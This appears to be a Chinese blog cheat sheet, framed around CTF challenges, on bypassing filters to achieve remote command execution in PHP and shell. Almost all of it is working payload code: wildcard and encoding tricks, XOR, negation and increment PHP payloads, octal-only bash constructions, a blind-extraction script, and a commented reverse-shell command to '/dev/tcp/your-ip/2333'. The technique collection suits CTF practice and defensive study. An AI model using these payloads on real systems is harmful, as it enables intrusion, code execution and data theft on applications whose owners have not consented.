RCE_绕过综合

<aside> 💡

管道符

</aside>

<aside> 💡

通配符绕过

</aside>

	**匹配任何字符串/文本,包括空字符串;
	*代表任意字符(0个或多个)
	? 匹配任何一个字符(不在括号内时)?代表任意1个字符
	[abcd] 匹配abcd中任何一个字符
	[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符**

<aside> 💡

空格过滤

</aside>

**<
<>
%20(即space)
%09(即tab)
$IFS$9
${IFS}
$IFS
{cat,/flag}**

<aside> 💡

反斜杠\绕过

</aside>

**//如cat、ls被过滤,使用\\绕过
c\\at /flag
l\\s /**

<aside> 💡

取反绕过

</aside>

**//取反传参
<?php
 
$a = "system";
$b = "cat /flag";
 
$c = urlencode(~$a);
$d = urlencode(~$b);
 
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>**

<aside> 💡

异或绕过

</aside>

**# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\\'\\",.<>/?-=_`~ "
 
answer = input('输入异或构造的字符串:')
 
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
 
print(f'"{tmp1}"^"{tmp2}"')**
**//异或php脚本
 
<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>
 
//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff**
**//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();
 
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);
 
 
//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"
 
mess=$_="0302181"^"@[@[_^^";$_();**

<aside> 💡

自增绕过

</aside>

**//自增payload,assert($_POST[_]),命令传入_**
 
**$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();**

<aside> 💡

黑名单绕过

</aside>

**//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
 
//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
 
 
 
//等效于打开ls目录下的文件
cat `ls`
 
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可
 
//php标签绕过
?><?= phpinfo(); ?>**

<aside> 💡

base和hex编码绕过

</aside>

**//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
 
//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash
 
//shellcode编码
//十六进制编码**

<aside> 💡

正则匹配绕过

</aside>

**//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}**

<aside> 💡

引号绕过

</aside>

**//如cat、ls被过滤
ca""t /flag
l's' /**

<aside> 💡

cat替换命令

</aside>

**tac	   与cat相反,按行反向输出
more	 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	 与more类似
tail	 查看文件末几行
head	 查看文件首几行
nl	   在cat查看文件的基础上显示行号
od	   以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	   以二进制方式读文件,同时有可读字符显示
sort	 排序文件
uniq	 报告或删除文件的重复行
file -f	报错文件内容
grep	 过滤查找字符串,grep flag /flag**

<aside> 💡

回溯绕过

</aside>

**//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False**

<aside> 💡

无回显RCE

</aside>

**//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\\at /flag`;)**

<aside> 💡

无参数RCE

</aside>

**利用getallheaders()、get_defined_vars()、session_id等;**

<aside> 💡

无字母数字RCE

</aside>

**异或、取反、自增、临时文件上传;**

<aside> 💡

禁用 ?

</aside>

**八进制(不能解析带有参数的命令)  ls -> $'\\154\\163'**

<aside> 💡

禁用 ? 2-9

</aside>

**cmd = 'ls -al'

payload = '$0<<<$0\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:
        payload += f'\\\\\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'**

<aside> 💡

仅含 <$!{}()_&

</aside>

**cmd = 'ls -al'

r = {}

x = '$((~$(())))'#-1

for i in range(1,9):
        r[i] = '$((~$(('+x
        for j in range(i):
                r[i] += x
        r[i] += '))))'

r[0] = '$(())'

payload = '__=$(())&&${!__}<<<${!__}\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:
        payload += '\\\\\\\\'
        for i in oct(ord(c))[2:]:
                payload += r[int(i)]

payload += '\\\\\\''
print(payload)**

<aside> 💡

仅含<$ {}\#()'0

</aside>

重定向+八进制+数字构造

**import requests
n = dict()
n[0] = '0'
n[1] = '${##}'     #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))'   #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))'     #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\\<\\<\\<\\$\\\\\\'"
    s = str_to_oct(cmd).split('\\\\')
    for _ in s[1:]:
        payload+="\\\\\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\\\\''

def get_flag(url,payload):                          #盲注函数
    try:
        data = {'cmd':payload}
        r = requests.post(url,data,timeout=1.5)
    except:
        return True
    return False

#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "<http://ip/>"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值